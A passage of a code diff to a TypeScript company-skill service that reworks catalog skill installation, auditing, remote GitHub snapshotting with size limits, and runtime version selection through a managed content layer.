(audit.verdict === "fail") throw unprocessable("Catalog reset is blocked by hard-stop audit findings.", { audit }); + const saved = await managedContent.publish(skill, candidate, { + markdown, name: asString(parsed.frontmatter.name) ?? skill.name, + description: asString(parsed.frontmatter.description) ?? skill.description, + fileInventory: serializeFileInventory(files), trustLevel: deriveTrustLevel(files), + metadata: { ...metadata, userModifiedAt: null, updateHoldReason: null, installedHash: audit.installedHash, + auditVerdict: audit.verdict, auditCodes: audit.codes, auditScannedAt: audit.scannedAt, auditScanVersion: audit.scanVersion }, + }, { type: "system" }, { ...publication, expectedVersionId: options.expectedVersionId, label: "Reset to installed catalog origin", + validate: async tx => { + await visibility(tx).assertSkill(companyId, skill.id); + await publication.validate?.(tx); + } }); + return toCompanySkill(saved.skill); + } const originHash = asString(metadata.originHash); const snapshotLocator = asString(metadata.originSnapshotLocator); const targetDir = normalizeSkillDirectory(skill); @@ -5673,32 +5601,6 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo }; } - async function materializeCatalogSkillFiles( - companyId: string, - skill: ImportedSkill, - normalizedFiles: Record, - ) { - const packageDir = skill.packageDir ? normalizePortablePath(skill.packageDir) : null; - if (!packageDir) return null; - const catalogRoot = path.resolve(resolveManagedSkillsRoot(companyId), "__catalog__"); - const skillDir = path.resolve(catalogRoot, buildSkillRuntimeName(skill.key, skill.slug)); - await fs.rm(skillDir, { recursive: true, force: true }); - await fs.mkdir(skillDir, { recursive: true }); - - for (const entry of skill.fileInventory) { - const sourcePath = entry.path === "SKILL.md" - ? `${packageDir}/SKILL.md` - : `${packageDir}/${entry.path}`; - const content = normalizedFiles[sourcePath]; - if (typeof content !== "string") continue; - const targetPath = path.resolve(skillDir, entry.path); - await fs.mkdir(path.dirname(targetPath), { recursive: true }); - await fs.writeFile(targetPath, content, "utf8"); - } - - return skillDir; - } - async function createDirectoryReplacement(targetDir: string) { const parentDir = path.dirname(targetDir); const baseName = path.basename(targetDir); @@ -5816,7 +5718,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo function buildCatalogSkillMetadata( catalogSkill: CatalogSkill, existing: CompanySkill | null, - originSnapshotLocator: string, + originSnapshotLocator: string | null, ) { const packageMetadata = getCatalogPackageMetadata(); const existingMetadata = existing && isPlainRecord(existing.metadata) ? existing.metadata : {}; @@ -5893,6 +5795,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo async function installFromCatalog( companyId: string, input: CompanySkillInstallCatalogRequest, + publicationForAction: (action: "created" | "updated") => SkillContentPublication = () => ({}), ): Promise { await ensureSkillInventoryCurrent(companyId); const catalogSkill = getCatalogSkillOrThrow(input.catalogSkillId); @@ -5925,9 +5828,9 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo && existingByKey.slug === slug && asString(metadata.originHash) === catalogSkill.contentHash ) { - const audit = await auditInstalledSkillBytes(existingByKey); - const audited = await persistAuditMetadata(existingByKey, audit); + const audit = await auditSkillContents(existingByKey); if (audit.installedHash === catalogSkill.contentHash && audit.verdict !== "fail") { + const audited = await persistAuditMetadata(existingByKey, audit); return { action: "unchanged", skill: audited, @@ -5936,6 +5839,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo }; } if (!input.force) { + await persistAuditMetadata(existingByKey, audit); const holdReason = audit.verdict === "fail" ? "audit_hard_stop" : "local_modifications"; const message = audit.verdict === "fail" ? "Catalog skill has hard-stop audit findings; rerun with --force to replace it." @@ -5948,32 +5852,28 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } - let materializedDir: string | null = null; - let originSnapshotLocator: string | null = null; - let candidateMaterializedDir: string | null = null; + const scratch = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-catalog-candidate-")); + let files: CompanySkillVersionFileInventoryEntry[]; + let candidateAudit: Awaited>; try { - originSnapshotLocator = await materializeCatalogOriginSnapshot(companyId, catalogSkill, slug); - const candidateAudit = await auditCatalogSkillSnapshot(companyId, catalogSkill, slug, originSnapshotLocator); - if (candidateAudit.verdict === "fail") { - throw unprocessable("Catalog install is blocked by hard-stop audit findings.", { - updateHoldReason: "audit_hard_stop", - audit: candidateAudit, - }); + for (const entry of catalogSkill.files) { + assertSkillSnapshotPath(entry.path); + const target = path.join(scratch, entry.path); + await fs.mkdir(path.dirname(target), { recursive: true }); + await copyCatalogSkillFile(catalogSkill.id, entry.path, target); } - candidateMaterializedDir = await materializeCatalogManifestSkillFiles(companyId, catalogSkill, slug); - materializedDir = candidateMaterializedDir; - } catch (error) { - if (candidateMaterializedDir) { - await fs.rm(candidateMaterializedDir, { recursive: true, force: true }).catch(() => undefined); - } - if (originSnapshotLocator) await fs.rm(originSnapshotLocator, { recursive: true, force: true }).catch(() => undefined); - throw error; - } - if (!materializedDir || !originSnapshotLocator) { - throw unprocessable("Catalog install did not materialize pinned files."); - } - const markdown = await fs.readFile(path.join(originSnapshotLocator, catalogSkill.entrypoint), "utf8"); - const metadata = buildCatalogSkillMetadata(catalogSkill, existingByKey, originSnapshotLocator); + candidateAudit = await auditCatalogSkillSnapshot(companyId, catalogSkill, slug, scratch); + if (candidateAudit.verdict === "fail") throw unprocessable("Catalog install is blocked by hard-stop audit findings.", + { updateHoldReason: "audit_hard_stop", audit: candidateAudit }); + files = await collectVersionFileInventoryFromDirectory(scratch); + } finally { await fs.rm(scratch, { recursive: true, force: true }); } + const candidate = await managedContent.prepare(companyId, files); + const markdown = files.find(file => file.path === "SKILL.md")!.content; + const metadata = { ...buildCatalogSkillMetadata(catalogSkill, existingByKey, null), + originPackageSnapshotId: candidate.packageSnapshotId, + installedHash: candidateAudit.installedHash, auditVerdict: candidateAudit.verdict, + auditCodes: candidateAudit.codes, auditScannedAt: candidateAudit.scannedAt, auditScanVersion: SKILL_AUDIT_SCAN_VERSION, + userModifiedAt: null, updateHoldReason: null }; const bundledCategory = paperclipBundledFolderCategory(catalogSkill.key, metadata); const bundledFolder = bundledCategory ? await folderSvc.ensureBundledCategory(companyId, bundledFolderLabel(bundledCategory)) @@ -5992,7 +5892,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo description: catalogSkill.description, markdown, sourceType: "catalog", - sourceLocator: materializedDir, + sourceLocator: catalogSkill.source?.url ?? null, sourceRef: catalogSkill.contentHash, trustLevel: catalogSkill.trustLevel, compatibility: catalogSkill.compatibility, @@ -6012,36 +5912,24 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo updatedAt: new Date(), }; - const row = existingByKey - ? await db - .update(companySkills) - .set(values) - .where(eq(companySkills.id, existingByKey.id)) - .returning() - .then((rows) => rows[0] ?? null) - : await db - .insert(companySkills) - .values(values) - .returning() - .then((rows) => rows[0] ?? null); - - if (!row) throw notFound("Failed to persist company skill"); - const installed = toCompanySkill(row); - const postAudit = await auditInstalledSkillBytes(installed); - if (postAudit.verdict === "fail") { - await persistAuditMetadata(installed, postAudit); - throw unprocessable("Catalog install produced hard-stop audit findings.", { - updateHoldReason: "audit_hard_stop", - audit: postAudit, - }); - } - const audited = await persistAuditMetadata(installed, postAudit); - return { - action: existingByKey ? "updated" : "created", - skill: audited, - catalogSkill, - warnings: postAudit.findings.map((finding) => finding.message), + const requestedPublication = publicationForAction(existingByKey ? "updated" : "created"); + const publication: SkillContentPublication = { ...requestedPublication, reuseCurrentVersion: true, + validate: async tx => { + if (existingByKey) await visibility(tx).assertSkill(companyId, existingByKey.id); + await requestedPublication.validate?.(tx); + }, + afterPublish: async (tx, skill, version) => { + const metadata = { ...skill.metadata, originVersionId: version.id }; + await tx.update(companySkills).set({ metadata }).where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, skill.id))); + skill.metadata = metadata; + await requestedPublication.afterPublish?.(tx, skill, version); + }, }; + const saved = existingByKey + ? await managedContent.publish(existingByKey, candidate, values, { type: "system" }, publication) + : await managedContent.create(values, candidate, { type: "system" }, publication); + return { action: existingByKey ? "updated" : "created", skill: toCompanySkill(saved.skill), catalogSkill, + warnings: candidateAudit.findings.map(finding => finding.message) }; } async function materializeRuntimeSkillFiles(companyId: string, skill: CompanySkill) { @@ -6082,61 +5970,6 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return { normalizedPath, targetPath }; } - async function listMaterializedFiles(root: string): Promise { - async function walk(dir: string, base: string): Promise { - const entries = await fs.readdir(dir, { withFileTypes: true }); - const out: string[] = []; - for (const entry of entries) { - const relativePath = base ? path.posix.join(base, entry.name) : entry.name; - const absolutePath = path.join(dir, entry.name); - if (entry.isDirectory()) { - out.push(...await walk(absolutePath, relativePath)); - } else if (entry.isFile()) { - out.push(normalizePortablePath(relativePath)); - } else { - throw unprocessable("Unsafe file in materialized skill version."); - } - } - return out; - } - - try { - const rootStat = await fs.lstat(root); - if (!rootStat.isDirectory() || rootStat.isSymbolicLink()) throw unprocessable("Unsafe materialized skill directory."); - return await walk(root, ""); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === "ENOENT") return null; - throw error; - } - } - - async function materializedVersionSnapshotMatches(skillDir: string, version: CompanySkillVersion) { - const expected = new Map(); - let sawSkillFile = false; - for (const entry of version.fileInventory) { - const resolved = resolveVersionSnapshotPath(skillDir, entry.path); - if (!resolved) continue; - expected.set(resolved.normalizedPath, entry); - if (resolved.normalizedPath === "SKILL.md") sawSkillFile = true; - } - if (!sawSkillFile) { - throw unprocessable("Company skill version could not be materialized because its SKILL.md snapshot is missing."); - } - - const existingFiles = await listMaterializedFiles(skillDir); - if (!existingFiles || existingFiles.length !== expected.size) return false; - for (const relativePath of existingFiles) { - if (!expected.has(relativePath)) return false; - } - for (const [relativePath, content] of expected.entries()) { - const target = path.resolve(skillDir, relativePath); - const existingContent = await fs.readFile(target).catch(() => null); - if (!existingContent?.equals(skillFileBytes(content))) return false; - if (Boolean((await fs.stat(target)).mode & 0o111) !== Boolean(content.executable)) return false; - } - return true; - } - async function runtimeVersionInventory(companyId: string, version: CompanySkillVersionSummary) { if (!version.repositorySnapshotId) { const row = (await readVersionMetadata(companyId, version.companySkillId, version.id))!; @@ -6147,45 +5980,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } async function materializeVersionSnapshot(companyId: string, skill: CompanySkill, version: StoredSkillVersion): Promise { - return withSkillVersionCacheLock(db, companyId, async () => { - const directory = await materializeVersionSnapshotLocked(companyId, skill, version); - await touchSkillVersionCache(companyId, skill.id, version.id); - return directory; - }); - } - - async function materializeVersionSnapshotLocked(companyId: string, skill: CompanySkill, version: StoredSkillVersion): Promise { - const runtimeRoot = path.resolve(resolveManagedSkillsRoot(companyId), "__versions__", skill.id); - const skillDir = path.join(runtimeRoot, version.id); - return runVersionSnapshotFlight(skillDir, async () => { - if (version.repositorySnapshotId || version.packageSnapshotId) return packageRuntime.materialize(version, skillDir); - version = { ...version, fileInventory: await packages.versionFiles(version) }; - await ensureSkillCacheDirectory(runtimeRoot, true); - if (await measureRunPhase("skills.version.verify", () => materializedVersionSnapshotMatches(skillDir, version), { fileCount: version.fileInventory.length })) return skillDir; - const staging = await fs.mkdtemp(path.join(runtimeRoot, `.${version.id}-`)); - try { - let wroteSkillFile = false; - for (const entry of version.fileInventory) { - const resolved = resolveVersionSnapshotPath(staging, entry.path); - if (!resolved) continue; - const { normalizedPath, targetPath } = resolved; - await fs.mkdir(path.dirname(targetPath), { recursive: true }); - await fs.writeFile(targetPath, skillFileBytes(entry), { mode: entry.executable ? 0o555 : 0o444 }); - if (normalizedPath === "SKILL.md") wroteSkillFile = true; - } - if (!wroteSkillFile) throw unprocessable("Company skill version could not be materialized because its SKILL.md snapshot is missing."); - // Another process may have published the same immutable version while we staged it. - if (await materializedVersionSnapshotMatches(skillDir, version)) return skillDir; - try { await fs.rename(staging, skillDir); } catch (error) { - if (await materializedVersionSnapshotMatches(skillDir, version)) return skillDir; - const code = (error as NodeJS.ErrnoException).code; - if (code !== "EEXIST" && code !== "ENOTEMPTY") throw error; - await fs.rm(skillDir, { recursive: true, force: true }); - await fs.rename(staging, skillDir); - } - return skillDir; - } finally { await fs.rm(staging, { recursive: true, force: true }); } - }); + return executionContent.withVersion({ companyId, skillId: skill.id, versionId: version.id }, async directory => directory); } function resolveRuntimeSkillMaterializedPath(companyId: string, skill: Pick) { @@ -6199,7 +5994,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo options: RuntimeSkillEntryOptions, ): Promise { const selectedVersionId = options.versionSelections?.get(skill.key) - ?? (options.snapshotLatest || (skill.metadata?.skillSourceId && skill.metadata?.snapshotHash) || skill.accessSourceId ? skill.currentVersionId : null); + ?? (options.snapshotLatest || skill.sourceType !== "local_path" || skill.metadata?.sourceKind === "paperclip_bundled" || (skill.metadata?.skillSourceId && skill.metadata?.snapshotHash) || skill.accessSourceId ? skill.currentVersionId : null); if (selectedVersionId) { const versionPath = path.resolve(resolveManagedSkillsRoot(companyId), "__versions__", skill.id, selectedVersionId); const version = await measureRunPhase("skills.version.read", () => readVersionMetadata(companyId, skill.id, selectedVersionId)); @@ -6240,6 +6035,10 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } + if (skill.sourceType !== "local_path" || skill.metadata?.sourceKind === "paperclip_bundled") { + return { status: "missing", source: resolveRuntimeSkillMaterializedPath(companyId, skill), + detail: "This installation has no committed version. Complete legacy conversion before execution." }; + } const source = await resolveExistingSkillDirectory(normalizeSkillDirectory(skill)); if (source) return { status: "available", source }; @@ -6305,7 +6104,10 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo consume: (entries: PaperclipSkillEntry[]) => T | Promise, ): Promise { if (options.onlyKeys?.size === 0 || (!options.onlyKeys && options.selectionConfig && !options.includeLegacy - && readPaperclipSkillSyncPreference(options.selectionConfig).desiredSkills.length === 0)) return consume([]); + && readPaperclipSkillSyncPreference(options.selectionConfig).desiredSkills.length === 0)) { + await options.selectVersions?.([]); + return consume([]); + } // Probe only the selected metadata. Public selections avoid scanning // unrelated source permissions; restricted selections still authorize now. const requested = options.onlyKeys ?? (options.selectionConfig && !options.includeLegacy @@ -6321,21 +6123,6 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const preparedSelection = requested && installed.length === requested.size; if (!preparedSelection) { await measureRunPhase("skills.inventory", () => ensureSkillInventoryCurrent(companyId)); - } else { - for (const skill of installed.filter(skill => skill.sourceKind === "paperclip_bundled")) { - const candidates = skill.key === ONBOARDING_FIRST_TASK_SKILL_KEY - ? [fileURLToPath(new URL("../onboarding-assets/first-task/skills/first-task/", import.meta.url))] - : resolveBundledSkillsRoot().map(root => path.join(root, skill.slug)); - for (const directory of candidates) { - if (!(await fs.stat(path.join(directory, "SKILL.md")).catch(() => null))?.isFile()) continue; - if (normalizeSourceLocatorDirectory(skill.sourceLocator) !== path.resolve(directory)) { - const imported = await readLocalSkillImportFromDirectory(companyId, directory, { metadata: { sourceKind: "paperclip_bundled" } }); - if (imported.key !== skill.key) throw new Error("Bundled runtime skill key changed"); - await upsertImportedSkills(companyId, [imported], db, { includeFolderPath: false }); - } - break; - } - } } return withSkillPackageReadScope(db, () => withSkillVersionCacheLock(db, companyId, async () => { // Recheck scope on the full row read: a public-to-project change between @@ -6357,25 +6144,38 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo (options.includeLegacy ? resolveLegacyPaperclipDesiredSkillNames : resolvePaperclipDesiredSkillNames)( options.selectionConfig, references.map(skill => ({ key: skill.key, runtimeName: buildSkillRuntimeName(skill.key, skill.slug) }))), ) : undefined); - const skills = await measureRunPhase("skills.rows", () => readFullSkillRows(companyId, selectedKeys, unrestrictedOnly)); + let skills = await measureRunPhase("skills.rows", () => readFullSkillRows(companyId, selectedKeys, unrestrictedOnly)); + for (const [key, versionId] of options.versionSelections ?? []) { + if (!versionId || (selectedKeys && !selectedKeys.has(key))) continue; + const [version] = await db.select({ skillId: companySkillVersions.companySkillId }).from(companySkillVersions) + .where(and(eq(companySkillVersions.companyId, companyId), eq(companySkillVersions.id, versionId))); + skills = skills.filter(skill => skill.key !== key); + const owner = version ? await getById(companyId, version.skillId) : null; + if (owner) skills.push({ ...owner, key, slug: owner.key === key ? owner.slug : key.split("/").at(-1)! }); + } await packages.prefetch(companyId, skills.flatMap(skill => { const id = options.versionSelections?.get(skill.key) ?? skill.currentVersionId; return id ? [id] : []; })); - const out: PaperclipSkillEntry[] = []; + const selected: Array<{ skill: CompanySkill; selection: RuntimeSkillVersionSelection; installedResolution: RuntimeSkillSourceResolution | null }> = []; for (let skill of skills) { if (selectedKeys && !selectedKeys.has(skill.key)) continue; let installedResolution: RuntimeSkillSourceResolution | null = null; const unpinned = !options.versionSelections?.get(skill.key); - const installedDirectory = options.snapshotLatest && unpinned && (skill.sourceType === "local_path" || skill.sourceType === "catalog") + const installedDirectory = options.snapshotLatest && unpinned && skill.sourceType === "local_path" + && skill.metadata?.sourceKind !== "paperclip_bundled" ? await resolveExistingSkillDirectory(normalizeSkillDirectory(skill)) : null; const installedVersion = installedDirectory && skill.currentVersionId ? await readVersionMetadata(companyId, skill.id, skill.currentVersionId) : null; - const installedUnchanged = installedDirectory && installedVersion?.packageSnapshotId && !installedVersion.packageFileMap - ? await verifyFileManifest(installedDirectory, (await packages.manifest(companyId, installedVersion.packageSnapshotId)).files) + const installedManifest = installedVersion?.packageSnapshotId + ? await packages.manifest(companyId, installedVersion.packageSnapshotId) : null; + const installedUnchanged = installedDirectory && installedVersion && installedManifest + && skillVersionUsesWholePackage(installedVersion, installedManifest) + ? await verifyFileManifest(installedDirectory, installedManifest.files) : false; - if (!installedUnchanged && options.snapshotLatest && unpinned && (!skill.currentVersionId || installedDirectory)) { + if (skill.sourceType === "local_path" && skill.metadata?.sourceKind !== "paperclip_bundled" + && !installedUnchanged && options.snapshotLatest && unpinned && (!skill.currentVersionId || installedDirectory)) { // Capture installed bytes only. Older remote imports can have no // version yet; execution must not fetch their missing files upstream. const installed: RuntimeSkillSourceResolution | null = installedDirectory ? { status: "available", source: installedDirectory } @@ -6386,7 +6186,8 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo ? [{ path: "SKILL.md", kind: "skill" as const, content: skill.markdown }] : null; if (inventory) { const previous = installedVersion ?? (skill.currentVersionId ? await readVersionMetadata(companyId, skill.id, skill.currentVersionId) : null); - const previousHash = previous?.packageSnapshotId && !previous.packageFileMap + const previousHash = previous?.packageSnapshotId && skillVersionUsesWholePackage(previous, + installedManifest ?? await packages.manifest(companyId, previous.packageSnapshotId)) ? (await packages.descriptor(companyId, previous.packageSnapshotId)).contentHash : previous ? skillSnapshotHash(await packages.versionFiles(previous)) : null; if (previousHash !== skillSnapshotHash(inventory)) { @@ -6396,22 +6197,28 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } else installedResolution = installed; } + const versionId = options.versionSelections?.get(skill.key) + ?? (options.snapshotLatest || skill.sourceType !== "local_path" || skill.metadata?.sourceKind === "paperclip_bundled" || skill.accessSourceId ? skill.currentVersionId : null); + if (skill.sourceType === "managed" && !versionId) throw unprocessable("Managed skill has no committed version."); + selected.push({ skill, installedResolution, selection: { + companyId, skillId: skill.id, key: skill.key, runtimeName: buildSkillRuntimeName(skill.key, skill.slug), + versionId, currentVersionId: skill.currentVersionId, + } }); + } + const admitted = await options.selectVersions?.(selected.map(item => item.selection)); + const out: PaperclipSkillEntry[] = []; + for (const { skill, selection, installedResolution } of selected) { + if (admitted && !admitted.has(selection.key)) continue; const sourceResolution = installedResolution ?? await resolveRuntimeSkillSource(companyId, skill, { ...options, ...(options.snapshotLatest ? { materializeMissing: false } : {}), + versionSelections: new Map([[selection.key, selection.versionId]]), }); if (!sourceResolution) continue; - - out.push({ - key: skill.key, - runtimeName: buildSkillRuntimeName(skill.key, skill.slug), - source: sourceResolution.source, - versionId: options.versionSelections?.get(skill.key) ?? (options.snapshotLatest || (skill.metadata?.skillSourceId && skill.metadata?.snapshotHash) || skill.accessSourceId ? skill.currentVersionId : null), - currentVersionId: skill.currentVersionId, + out.push({ key: selection.key, runtimeName: selection.runtimeName, versionId: selection.versionId, + currentVersionId: selection.currentVersionId, source: sourceResolution.source, sourceStatus: sourceResolution.status, - missingDetail: sourceResolution.status === "missing" ? sourceResolution.detail : null, - }); + missingDetail: sourceResolution.status === "missing" ? sourceResolution.detail : null }); } - out.sort((left, right) => left.key.localeCompare(right.key)); return out; } @@ -6438,14 +6245,6 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo assertImportedSkillSourceAllowed(skill); } - for (const skill of importedSkills) { - if (skill.sourceType !== "catalog") continue; - const materializedDir = await materializeCatalogSkillFiles(companyId, skill, normalizedFiles); - if (materializedDir) { - skill.sourceLocator = materializedDir; - } - } - const conflictStrategy = options?.onConflict ?? "skip"; const existingSkills = await listFull(companyId); const existingByKey = new Map(existingSkills.map((skill) => [skill.key, skill])); @@ -6539,7 +6338,19 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo if (toPersist.length === 0) return out; - const persisted = await upsertImportedSkills(companyId, toPersist); + const snapshots = new Map(); + for (const skill of toPersist) { + const prefix = skill.packageDir ? `${skill.packageDir}/` : ""; + snapshots.set(skill.key, skill.fileInventory.map(entry => { + const sourcePath = entry.path === "SKILL.md" + ? Object.keys(normalizedFiles).find(name => name.toLowerCase() === `${prefix}SKILL.md`.toLowerCase()) + : `${prefix}${entry.path}`; + const content = sourcePath ? normalizedFiles[sourcePath] : undefined; + if (content === undefined) throw unprocessable("Imported package is missing a declared skill file."); + return { ...entry, content }; + })); + } + const persisted = await upsertImportedSkills(companyId, toPersist, db, { snapshots }); for (let index = 0; index < prepared.length; index += 1) { const persistedSkill = persisted[index]; const preparedSkill = prepared[index]; @@ -6561,19 +6372,24 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo companyId: string, imported: ImportedSkill[], database: DbOrTransaction = db, - options: { includeFolderPath?: boolean } = {}, + options: { includeFolderPath?: boolean; snapshots?: Map; + bases?: Map; publication?: SkillContentPublication } = {}, ): Promise { const out: CompanySkill[] = []; const bundledFolders = new Map>>(); for (const skill of imported) { assertImportedSkillKeyAllowed(skill); assertImportedSkillSourceAllowed(skill); - const existing = await getByKey(companyId, skill.key, database, options); + const existing = options.bases?.get(skill.key) ?? await getByKey(companyId, skill.key, database, options); const existingMeta = existing ? getSkillMeta(existing) : {}; const incomingMeta = skill.metadata && isPlainRecord(skill.metadata) ? skill.metadata : {}; const incomingOwner = asString(incomingMeta.owner); const incomingRepo = asString(incomingMeta.repo); const incomingKind = asString(incomingMeta.sourceKind); + if (existing?.currentVersionId && incomingKind === "paperclip_bundled") { + out.push(existing); + continue; + } if ( existing && existingMeta.sourceKind === "paperclip_bundled" @@ -6628,6 +6444,21 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo metadata, updatedAt: new Date(), }; + const files = options.snapshots?.get(skill.key) ?? (incomingKind === "paperclip_bundled" && skill.sourceLocator + ? await collectVersionFileInventoryFromDirectory(normalizeSourceLocatorDirectory(skill.sourceLocator)!) : undefined); + if (files) { + const candidate = await managedContent.prepare(companyId, files); + const saved = existing + ? await managedContent.publish(existing, candidate, values, { type: "system" }, { + ...options.publication, reuseCurrentVersion: true, validate: async tx => { + await visibility(tx).assertSkill(companyId, existing.id); + await options.publication?.validate?.(tx); + }, + }) + : await managedContent.create(values, candidate, { type: "system" }, options.publication); + out.push(toCompanySkill(saved.skill)); + continue; + } if (existing && importedSkillPersistValuesMatchExisting(existing, values)) { out.push(existing); continue; @@ -6650,6 +6481,58 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return out; } + async function snapshotRemoteImports(imported: ImportedSkill[]) { + const snapshots = new Map(); + for (const skill of imported) { + assertImportedSkillSourceAllowed(skill); + const files: CompanySkillVersionFileInventoryEntry[] = []; + let bytes = Buffer.byteLength(skill.markdown); + if (skill.fileInventory.length > MAX_SKILL_SNAPSHOT_FILES || bytes > MAX_SKILL_SNAPSHOT_BYTES) { + throw unprocessable("Skill exceeds package limits."); + } + for (const entry of skill.fileInventory) { + assertSkillSnapshotPath(entry.path); + if (entry.path === "SKILL.md") { files.push({ ...entry, content: skill.markdown }); continue; } + if (skill.sourceType !== "github" && skill.sourceType !== "skills_sh") throw unprocessable("Source has no complete immutable file inventory."); + const metadata = skill.metadata ?? {}; + const owner = asString(metadata.owner); + const repo = asString(metadata.repo); + if (!owner || !repo || !isPinnedCommitRef(skill.sourceRef)) throw unprocessable("Repository revision is not pinned."); + const dir = typeof metadata.repoSkillDir === "string" ? normalizeGitHubSkillDirectory(metadata.repoSkillDir, "") : skill.slug; + const url = resolveRawGitHubUrl(asString(metadata.hostname) ?? "github.com", owner, repo, skill.sourceRef!, path.posix.join(dir, entry.path)); + const response = await ghFetch(url); + if (!response.ok) throw unprocessable(`Could not acquire installed file ${entry.path}: ${response.status}`); + if (!response.body) throw unprocessable("Installed file response has no body."); + const reader = response.body.getReader(); + const chunks: Uint8Array[] = []; + try { + while (true) { + const part = await reader.read(); + if (part.done) break; + bytes += part.value.byteLength; + if (bytes > MAX_SKILL_SNAPSHOT_BYTES) throw unprocessable("Skill exceeds package limits."); + chunks.push(part.value); + } + } finally { await reader.cancel(); reader.releaseLock(); } + files.push(snapshotFile(entry.path, entry.kind, Buffer.concat(chunks))); + } + snapshots.set(skill.key, files); + } + return snapshots; + } + + async function captureLegacyInstallation(companyId: string, skillId: string) { + const skill = await getById(companyId, skillId); + if (!skill) throw notFound("Skill not found"); + if (skill.sourceType !== "github" && skill.sourceType !== "skills_sh" && skill.sourceType !== "url") { + throw unprocessable("Legacy installation has no exact remote source."); + } + if (skill.sourceType !== "url" && !isPinnedCommitRef(skill.sourceRef)) { + throw unprocessable("Legacy repository revision is not pinned."); + } + return (await snapshotRemoteImports([skill])).get(skill.key)!; + } + async function importFromSource(companyId: string, source: string): Promise { await ensureSkillInventoryCurrent(companyId); const parsed = parseSkillImportSourceInput(source); @@ -6689,7 +6572,8 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo skill.key = deriveCanonicalSkillKey(companyId, skill); } } - const imported = await upsertImportedSkills(companyId, filteredSkills); + const imported = await upsertImportedSkills(companyId, filteredSkills, db, + local ? {} : { snapshots: await snapshotRemoteImports(filteredSkills) }); return { imported, warnings }; } @@ -7326,7 +7210,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const outputDocument = await db .select({ body: documents.latestBody }) .from(issueDocuments) - .innerJoin(documents, eq(issueDocuments.documentId, documents.id)) + .innerJoin(documents, and(eq(issueDocuments.documentId, documents.id), eq(documents.companyId, input.companyId))) .where(and( eq(issueDocuments.companyId, input.companyId), eq(issueDocuments.issueId, input.issueId), @@ -7341,7 +7225,13 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo error: input.error ?? null, updatedAt: new Date(), }) - .where(and(eq(companySkillTestRuns.companyId, input.companyId), eq(companySkillTestRuns.id, row.id))) + .where(and( + eq(companySkillTestRuns.companyId, input.companyId), + eq(companySkillTestRuns.id, row.id), + inArray(companySkillTestRuns.status, ["queued", "running"]), + isNull(companySkillTestRuns.deletedAt), + isNull(companySkillTestRuns.supersededAt), + )) .returning() .then((rows) => rows[0] ?? null); return updated ? (await hydrateTestRuns(input.companyId, [updated]))[0] ?? null : null; @@ -7463,14 +7353,9 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return { pruned: rows.length }; } - async function makeImportedSkillEditable( - companyId: string, skillId: string, actor: SkillActor, folderId: string | null, - database: DbOrTransaction, createdDirectories: string[], - ) { - const [locked] = await database.select({ id: companySkills.id }).from(companySkills) - .where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, skillId))).for("update"); - if (!locked) throw conflict("An imported skill changed. Reload before disconnecting."); - const skill = (await getById(companyId, skillId, database))!; + async function prepareImportedSkillEditable(companyId: string, skillId: string) { + const skill = await getById(companyId, skillId); + if (!skill) throw conflict("The imported skill changed. Reload the source before keeping editable copies."); const version = await getCurrentVersion(skill); const recovery = `Cannot keep "${skill.name}" because its saved files are incomplete. Refresh the source before keeping editable copies, or choose Delete skills.`; if (!version) throw unprocessable(recovery); @@ -7482,28 +7367,24 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo if (!savedPaths.has("SKILL.md") || skill.fileInventory.some(file => !savedPaths.has(savedSkillPath(file.path)))) { throw unprocessable(recovery); } - const managedRoot = resolveManagedSkillsRoot(companyId); - await fs.mkdir(managedRoot, { recursive: true }); - const directory = await fs.mkdtemp(path.join(managedRoot, `${skill.slug}-copy-`)); - createdDirectories.push(directory); - for (const file of files) { - assertSkillSnapshotPath(file.path); - const target = path.join(directory, file.path); - await fs.mkdir(path.dirname(target), { recursive: true }); - await fs.writeFile(target, skillFileBytes(file), { mode: file.executable ? 0o755 : 0o644 }); - } - const updated = await database.update(companySkills).set({ - sourceType: "local_path", sourceLocator: directory, sourceRef: null, folderId, - fileInventory: files.map(({ path, kind }) => ({ path, kind })), - metadata: { - sourceKind: "managed_local", + return { skill, files, candidate: await managedContent.prepare(companyId, files) }; + } + + async function makeImportedSkillEditable( + prepared: Awaited>, + actor: SkillActor, folderId: string | null, database: DbOrTransaction, + ) { + const { skill, files, candidate } = prepared; + return managedSkillContent(database as Db, packageDb).publish(skill, candidate, { + sourceType: "managed", sourceLocator: null, sourceRef: null, folderId, + markdown: files.find(file => file.path === "SKILL.md")!.content, + fileInventory: serializeFileInventory(files), trustLevel: deriveTrustLevel(files), + metadata: { sourceKind: "managed", copiedFromRepository: { url: skill.sourceLocator, ref: skill.sourceRef, path: skill.metadata?.skillSourcePath }, forkedByUserId: actor.type === "user" ? actor.userId ?? null : null, forkedByAgentId: actor.type === "agent" ? actor.agentId ?? null : null, }, - updatedAt: new Date(), - }).where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, skillId))).returning({ id: companySkills.id }); - if 